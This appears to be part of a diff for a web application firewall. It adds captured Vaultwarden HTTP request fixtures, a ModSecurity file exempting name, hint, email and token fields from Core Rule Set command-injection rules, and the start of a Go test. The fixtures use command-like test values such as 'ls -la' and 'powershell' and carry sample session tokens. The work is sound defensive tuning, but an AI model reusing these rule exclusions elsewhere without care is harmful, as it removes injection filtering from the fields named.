{"method": "POST", "target": "/admin/config", "headers": ["Host: example.com", "Content-Length: 2572", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMwNTksImV4cCI6MTc5NDI4NDI1OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.GLGh7VC7iFIv0RcEf6Q7B7IzFiFwFtj6_GulgOGV2AFVGNxtCZbHv4ZroUq9L6FecbS_qqo_baLjHIq5S1IP8TiRFqUg6-61ROw7xkmnBVyp2kfbYcIseE79HiHTUoTbhROU3VJus7hk0M-7Rfat7nNDoItMNY4k5qZitSSpaN0Z6-KfHWsOPxZxICJ7Ya5YreWra0nUZizH53qCfs_iIJlCIdmrtVTlPZEo0cTTJOUtuDR_RFdA8u5MTTi4HABO9NNOVV5mLiJ9_YbOSFt2JSG_FRRsp7MjyKHlZJJx5NHHyqlj7CIGcuc1LVIU6XlhnQU8oY2s91RhCN1Wjqgfeg", "Priority: u=1, i"], "body": "{\"sends_allowed\":true,\"disable_icon_download\":false,\"signups_allowed\":true,\"signups_verify\":false,\"invitations_allowed\":true,\"emergency_access_allowed\":true,\"email_change_allowed\":true,\"password_hints_allowed\":true,\"show_password_hint\":false,\"http_request_block_non_global_ips\":true,\"disable_2fa_remember\":false,\"authenticator_disable_time_drift\":false,\"require_device_email\":false,\"reload_templates\":false,\"increase_note_size_limit\":false,\"dns_prefer_ipv6\":false,\"sso_enabled\":false,\"sso_only\":false,\"sso_signups_allowed\":true,\"sso_signups_match_email\":true,\"sso_allow_unknown_email_verification\":false,\"sso_pkce\":true,\"sso_auth_only_not_session\":false,\"sso_debug_tokens\":false,\"_enable_yubico\":true,\"_enable_duo\":true,\"_enable_smtp\":true,\"use_sendmail\":false,\"smtp_embed_images\":true,\"smtp_accept_invalid_certs\":false,\"smtp_accept_invalid_hostnames\":false,\"_enable_email_2fa\":false,\"email_2fa_enforce_on_verified_invite\":false,\"email_2fa_auto_fallback\":false,\"user_attachment_limit\":1048576,\"org_attachment_limit\":null,\"user_send_limit\":null,\"trash_auto_delete_days\":null,\"incomplete_2fa_time_limit\":3,\"signups_verify_resend_time\":3600,\"signups_verify_resend_limit\":6,\"password_iterations\":600000,\"icon_redirect_code\":302,\"icon_cache_ttl\":2592000,\"icon_cache_negttl\":259200,\"icon_download_timeout\":10,\"two_factor_remember_days\":30,\"admin_session_lifetime\":20,\"sso_client_cache_expiration\":0,\"smtp_port\":587,\"smtp_timeout\":15,\"email_token_size\":6,\"email_expiration_time\":600,\"email_attempts_limit\":3,\"domain\":\"https://example.com\",\"fill_assist_rules_url\":\"https://fillassist.bitwarden.com\",\"hibp_api_key\":null,\"signups_domains_whitelist\":\"example.com,example.org\",\"org_creation_users\":null,\"admin_token\":\"example-admin-token\",\"invitation_org_name\":\"powershell vault\",\"ip_header\":\"X-Real-IP\",\"ip_header_trusted_proxies\":\"local\",\"http_request_block_regex\":null,\"log_timestamp_format\":\"%Y-%m-%d %H:%M:%S.%3f\",\"allowed_iframe_ancestors\":null,\"allowed_connect_src\":null,\"sso_client_id\":null,\"sso_client_secret\":null,\"sso_authority\":null,\"sso_scopes\":\"email profile\",\"sso_authorize_extra_params\":null,\"sso_audience_trusted\":null,\"sso_callback_path\":\"https://example.com/identity/connect/oidc-signin\",\"sso_master_password_policy\":null,\"yubico_client_id\":null,\"yubico_secret_key\":null,\"yubico_server\":null,\"duo_ikey\":null,\"duo_skey\":null,\"duo_host\":null,\"smtp_host\":null,\"smtp_security\":\"starttls\",\"smtp_from\":\"python3@example.com\",\"smtp_from_name\":\"ls -la and .htaccess vault\",\"smtp_username\":null,\"smtp_password\":null,\"smtp_auth_mechanism\":null,\"helo_name\":\"vault.example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/admin/invite", "headers": ["Host: example.com", "Content-Length: 38", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMwNTksImV4cCI6MTc5NDI4NDI1OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.GLGh7VC7iFIv0RcEf6Q7B7IzFiFwFtj6_GulgOGV2AFVGNxtCZbHv4ZroUq9L6FecbS_qqo_baLjHIq5S1IP8TiRFqUg6-61ROw7xkmnBVyp2kfbYcIseE79HiHTUoTbhROU3VJus7hk0M-7Rfat7nNDoItMNY4k5qZitSSpaN0Z6-KfHWsOPxZxICJ7Ya5YreWra0nUZizH53qCfs_iIJlCIdmrtVTlPZEo0cTTJOUtuDR_RFdA8u5MTTi4HABO9NNOVV5mLiJ9_YbOSFt2JSG_FRRsp7MjyKHlZJJx5NHHyqlj7CIGcuc1LVIU6XlhnQU8oY2s91RhCN1Wjqgfeg", "Priority: u=1, i"], "body": "{\"email\":\"powershell.ops@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/admin/config", "headers": ["Host: example.com", "Content-Length: 2586", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMwODEsImV4cCI6MTc5NDI4NDI4MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.QYGIDiydJkn1f2wGNmVNeE5H8BuAJGv6pvsjym-9F8nNs4r7fUts9i8QlWQCCdj8bSPHh-oQfTg0XALCLll8Z13w-WPZn8WNAplLw2z8y0zcH_L2RwmSKqX8-wufLZMyiRSe272j41niBlzWTybXMjyRO1XDbu7c2JN_nTXemK3LV0h7mz2zPIY6TftwEFYEXGMQIMa70AqVdplcWTJw9idn88K5LjP-mTcTbNMRI6ybWrodZAQuC0UwNx3Wphcf3yhiL5h_KX4ruPy5I9E4MaQUWQlbFBKIfqbbx9t2x7URL2Co8Aw8oDc66A2am8One4k542PLcKA2HjbvcLjR8g", "Priority: u=1, i"], "body": "{\"sends_allowed\":true,\"disable_icon_download\":false,\"signups_allowed\":true,\"signups_verify\":false,\"invitations_allowed\":true,\"emergency_access_allowed\":true,\"email_change_allowed\":true,\"password_hints_allowed\":true,\"show_password_hint\":false,\"http_request_block_non_global_ips\":true,\"disable_2fa_remember\":false,\"authenticator_disable_time_drift\":false,\"require_device_email\":false,\"reload_templates\":false,\"increase_note_size_limit\":false,\"dns_prefer_ipv6\":false,\"sso_enabled\":false,\"sso_only\":false,\"sso_signups_allowed\":true,\"sso_signups_match_email\":true,\"sso_allow_unknown_email_verification\":false,\"sso_pkce\":true,\"sso_auth_only_not_session\":false,\"sso_debug_tokens\":false,\"_enable_yubico\":true,\"_enable_duo\":true,\"_enable_smtp\":true,\"use_sendmail\":false,\"smtp_embed_images\":true,\"smtp_accept_invalid_certs\":false,\"smtp_accept_invalid_hostnames\":false,\"_enable_email_2fa\":false,\"email_2fa_enforce_on_verified_invite\":false,\"email_2fa_auto_fallback\":false,\"user_attachment_limit\":1048576,\"org_attachment_limit\":null,\"user_send_limit\":null,\"trash_auto_delete_days\":null,\"incomplete_2fa_time_limit\":3,\"signups_verify_resend_time\":3600,\"signups_verify_resend_limit\":6,\"password_iterations\":600000,\"icon_redirect_code\":302,\"icon_cache_ttl\":2592000,\"icon_cache_negttl\":259200,\"icon_download_timeout\":10,\"two_factor_remember_days\":30,\"admin_session_lifetime\":20,\"sso_client_cache_expiration\":0,\"smtp_port\":587,\"smtp_timeout\":15,\"email_token_size\":6,\"email_expiration_time\":600,\"email_attempts_limit\":3,\"domain\":\"https://example.com\",\"fill_assist_rules_url\":\"https://fillassist.bitwarden.com\",\"hibp_api_key\":null,\"signups_domains_whitelist\":\"example.com,example.org\",\"org_creation_users\":null,\"admin_token\":\"example-admin-token\",\"invitation_org_name\":\"powershell vault\",\"ip_header\":\"X-Real-IP\",\"ip_header_trusted_proxies\":\"local\",\"http_request_block_regex\":null,\"log_timestamp_format\":\"%Y-%m-%d %H:%M:%S.%3f\",\"allowed_iframe_ancestors\":null,\"allowed_connect_src\":null,\"sso_client_id\":null,\"sso_client_secret\":null,\"sso_authority\":null,\"sso_scopes\":\"email profile\",\"sso_authorize_extra_params\":null,\"sso_audience_trusted\":null,\"sso_callback_path\":\"https://example.com/identity/connect/oidc-signin\",\"sso_master_password_policy\":null,\"yubico_client_id\":null,\"yubico_secret_key\":null,\"yubico_server\":null,\"duo_ikey\":null,\"duo_skey\":null,\"duo_host\":null,\"smtp_host\":\"smtp.example.com\",\"smtp_security\":\"starttls\",\"smtp_from\":\"python3@example.com\",\"smtp_from_name\":\"ls -la and .htaccess vault\",\"smtp_username\":null,\"smtp_password\":null,\"smtp_auth_mechanism\":null,\"helo_name\":\"vault.example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/admin/invite", "headers": ["Host: example.com", "Content-Length: 35", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMwODEsImV4cCI6MTc5NDI4NDI4MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.QYGIDiydJkn1f2wGNmVNeE5H8BuAJGv6pvsjym-9F8nNs4r7fUts9i8QlWQCCdj8bSPHh-oQfTg0XALCLll8Z13w-WPZn8WNAplLw2z8y0zcH_L2RwmSKqX8-wufLZMyiRSe272j41niBlzWTybXMjyRO1XDbu7c2JN_nTXemK3LV0h7mz2zPIY6TftwEFYEXGMQIMa70AqVdplcWTJw9idn88K5LjP-mTcTbNMRI6ybWrodZAQuC0UwNx3Wphcf3yhiL5h_KX4ruPy5I9E4MaQUWQlbFBKIfqbbx9t2x7URL2Co8Aw8oDc66A2am8One4k542PLcKA2HjbvcLjR8g", "Priority: u=1, i"], "body": "{\"email\":\"python3.ops@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=20c6a127-e84f-4010-8416-c5bcef15d0bd&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "PUT", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b", "headers": ["Host: example.com", "Content-Length: 85", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMxODksImV4cCI6MTc5NDI5MDM4OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiIuaHRhY2Nlc3MgcG93ZXJzaGVsbCIsImVtYWlsIjoiYWxpY2VAZXhhbXBsZS5jb20iLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6IjIwYzZhMTI3LWU4NGYtNDAxMC04NDE2LWM1YmNlZjE1ZDBiZCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.BdjhBukR0uiqdlUr2oilQ5QvOa1flSWIO5htzH1FpGLeqprj-zyM_OR8szEtaHXl_i7IsCxgDhI36R8d9r4KJd74nmD7H0fzqLi1D3lGkccW8OjCX5YjU81XvARUXMp1C-7g-mkhPaojcvgwuQN2pWXWjZIy1JHhP-rSZX-0HXiECXCQdGiv-UCrNO6N7QOApS6OvNK6sgQQTZ1J08VjSYdWI6E-zwZh6U2_Ox3XT6XTB8VzSAjqynJErLlEinr4ejWYkUaCT56PsEj-vBgIKtuIACI6gy60Z5A0SbWuIbJtzwbecvjhcKhS_5AF48NUEUfKxdzRdsE0MwvIBYAXFg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"name\":\"ls -la and powershell team\",\"billingEmail\":\"powershell.billing@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMxODksImV4cCI6MTc5Njg3NTE4OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiNWJTTklURmQxRzYxN1lFRFJleUlvUFhzSkpMWkdQSUliY2szVFZjSUZfaEdkZGdrdVpUaTFsQ09OUlRYV2tlTEJYdHNld3RWV2IySEZuSlB3WDMtNWc9PSIsInRva2VuIjpudWxsfQ.hdoq_DygkBEZGPxknOVIPcSkU7Qz8GItq9KjB42QX747e8luUPjgn9KpEBiH9NDnDO2oAycbyaxJ9rAcSeYovNPzkoDlTyl-qvJgR07UMHKNyhrqblEhde6JcDaxRYBwb0JS1HPY2YPC8TZr_c3zvOJhnOVKv2DegVY94xFFCB1USPphpkS1DYMfo2QaBTW--ryhnL562CVL4Rz4cEVr0tvSzQvYkwB8ro3p_z2TT8Vxz3n9zfBGV_8uIFIGnw8d9CbIuypTEWgZg9bvazVZP88ooeTU7JIa2ylB3-P0HNhgrvKlMvbqIPAA4dRIyIhyO_ulBNIJDPaiUGWBAEzeXA"}
|
||||||
@@ -0,0 +1,136 @@
|
|||||||
|
# Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that
|
||||||
|
# refused ordinary Vaultwarden requests there. They are the fields where
|
||||||
|
# Vaultwarden receives a name, a password hint or an email address in plain
|
||||||
|
# text, and the names of uploaded files. Each exclusion runs with the request,
|
||||||
|
# before the rules it switches off, so this file is loaded before the Core Rule
|
||||||
|
# Set's rules. Each comment names a request a rule refused. An exclusion on a
|
||||||
|
# field of a body applies only when the query has no parameter of that name, so
|
||||||
|
# it matters only while SWW_WAF_BODY_LIMIT is set.
|
||||||
|
#
|
||||||
|
# The apps encrypt the names, notes, addresses and file names of vault items,
|
||||||
|
# folders, collections and sends before they send them. These values pass
|
||||||
|
# without exclusions.
|
||||||
|
#
|
||||||
|
# Four rules read a name or a hint as a command or a system file:
|
||||||
|
# 930120: .htaccess
|
||||||
|
# 932120: powershell
|
||||||
|
# 932250: ls -la
|
||||||
|
# 932260: python3
|
||||||
|
|
||||||
|
# Every rule below is skipped unless Inspect has set tx.app_vaultwarden. It
|
||||||
|
# sets it while SWW_APPS is unset, or lists vaultwarden for the request's
|
||||||
|
# hostname.
|
||||||
|
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||||
|
# tx.app_vaultwarden itself.
|
||||||
|
SecRule &TX:app_vaultwarden "@eq 0" \
|
||||||
|
"id:900140,phase:1,pass,nolog,skipAfter:END_VAULTWARDEN"
|
||||||
|
|
||||||
|
# Names and password hints, in JSON bodies, skip the four rules:
|
||||||
|
# name: signing up, editing the account's profile, and creating or renaming
|
||||||
|
# an organization or a group, "python3 .htaccess team"
|
||||||
|
# name: naming a security key at /api/two-factor/webauthn, "python3 key"
|
||||||
|
# masterPasswordHint: signing up or changing the master password,
|
||||||
|
# "the .htaccess one, not powershell"
|
||||||
|
# invitation_org_name, smtp_from_name: saving the admin page's settings,
|
||||||
|
# "ls -la and .htaccess vault"
|
||||||
|
# Drupal serves /admin/config too, but sends no JSON there.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/identity/accounts/|^/api/(?:accounts|emergency-access|organizations)(?:/|$)|^/api/two-factor/webauthn$|^/admin/config$" \
|
||||||
|
"id:900150,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/"
|
||||||
|
|
||||||
|
# Email addresses, in bodies, skip 930120, 932120 and 932260, which refused
|
||||||
|
# these addresses:
|
||||||
|
# 930120: jane.profile@example.com
|
||||||
|
# 932120: powershell@example.com
|
||||||
|
# 932260: python3.dev@example.com
|
||||||
|
# These fields hold an address:
|
||||||
|
# username: signing in at /identity/connect/token, in form data
|
||||||
|
# email: signing up, asking for the password hint, inviting an emergency
|
||||||
|
# contact, and inviting a user from the admin page
|
||||||
|
# email: setting up sign-in codes by email, and asking for one when signing
|
||||||
|
# in, under /api/two-factor/
|
||||||
|
# email: signing in with another device, at /api/auth-requests
|
||||||
|
# email: sending the admin page's test email, at /admin/test/smtp
|
||||||
|
# salt fields, such as masterPasswordUnlock.salt: signing up and changing
|
||||||
|
# the master password, which send the address as the salt
|
||||||
|
# accountUnlockData.masterPasswordUnlockData.email: rotating the account's
|
||||||
|
# encryption key
|
||||||
|
# newEmail: changing the account's address
|
||||||
|
# billingEmail: creating or editing an organization
|
||||||
|
# emails: inviting members to an organization
|
||||||
|
# smtp_from, smtp_username, org_creation_users: saving the admin page's
|
||||||
|
# settings
|
||||||
|
# An address holds no spaces, so it keeps 932250, which needs ls -la.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/identity/(?:connect/token$|accounts/)|^/api/(?:accounts|emergency-access|organizations|auth-requests)(?:/|$)|^/api/two-factor/|^/admin/(?:config|invite|test/smtp)$" \
|
||||||
|
"id:900151,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:username|json\.(?:email|newemail|billingemail|emails\.\d+|smtp_from|smtp_username|org_creation_users|(?:[a-z]+\.)+salt|accountunlockdata\.masterpasswordunlockdata\.email))$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:username|json\.(?:email|newemail|billingemail|emails\.\d+|smtp_from|smtp_username|org_creation_users|(?:[a-z]+\.)+salt|accountunlockdata\.masterpasswordunlockdata\.email))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:username|json\.(?:email|newemail|billingemail|emails\.\d+|smtp_from|smtp_username|org_creation_users|(?:[a-z]+\.)+salt|accountunlockdata\.masterpasswordunlockdata\.email))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:username|json\.(?:email|newemail|billingemail|emails\.\d+|smtp_from|smtp_username|org_creation_users|(?:[a-z]+\.)+salt|accountunlockdata\.masterpasswordunlockdata\.email))$/"
|
||||||
|
|
||||||
|
# The data breach report sends an address in the query, which skips the same
|
||||||
|
# three rules: /api/hibp/breach?username=jane.profile%40example.com.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/api/hibp/breach$" \
|
||||||
|
"id:900152,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:username,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:username,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:username"
|
||||||
|
|
||||||
|
# An uploaded attachment or file send is named by its encrypted name, such as
|
||||||
|
# "2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJrR...". 920120 refused the "=" in
|
||||||
|
# it, so the names of uploaded files skip 920120 on these paths:
|
||||||
|
# /api/ciphers/<id>/attachment/<attachment id>, and the older uploads to
|
||||||
|
# /api/ciphers/<id>/attachment, /api/ciphers/<id>/attachment-admin and
|
||||||
|
# /api/ciphers/<id>/attachment/<attachment id>/share
|
||||||
|
# /api/sends/<id>/file/<file id>
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/api/ciphers/[0-9a-f-]{36}/attachment(?:-admin|/[0-9a-f]+(?:/share)?)?$|^/api/sends/[0-9a-f-]{36}/file/[0-9a-f]+$" \
|
||||||
|
"id:900153,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=920120;FILES"
|
||||||
|
|
||||||
|
# The admin token, which an administrator types at /admin, skips each rule that
|
||||||
|
# random passwords set off. The master password is hashed by the apps before
|
||||||
|
# they send it, so password and masterPasswordHash need no exclusion.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/admin/?$" \
|
||||||
|
"id:900154,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:token "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:token,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:token"
|
||||||
|
|
||||||
|
SecMarker END_VAULTWARDEN
|
||||||
@@ -0,0 +1,514 @@
|
|||||||
|
package coreruleset_test
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/base64"
|
||||||
|
"encoding/json"
|
||||||
|
"math/rand/v2"
|
||||||
|
"net/http"
|
||||||
|
"net/url"
|
||||||
|
"slices"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
|
)
|
||||||
|
|
||||||
|
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
|
const vaultwardenThreshold = 5
|
||||||
|
|
||||||
|
// Paths of Vaultwarden's API and admin page.
|
||||||
|
const (
|
||||||
|
vaultwardenOrganization = "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b"
|
||||||
|
vaultwardenCipher = "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d"
|
||||||
|
vaultwardenSignUp = "/identity/accounts/register/send-verification-email"
|
||||||
|
vaultwardenFinishSignUp = "/identity/accounts/register/finish"
|
||||||
|
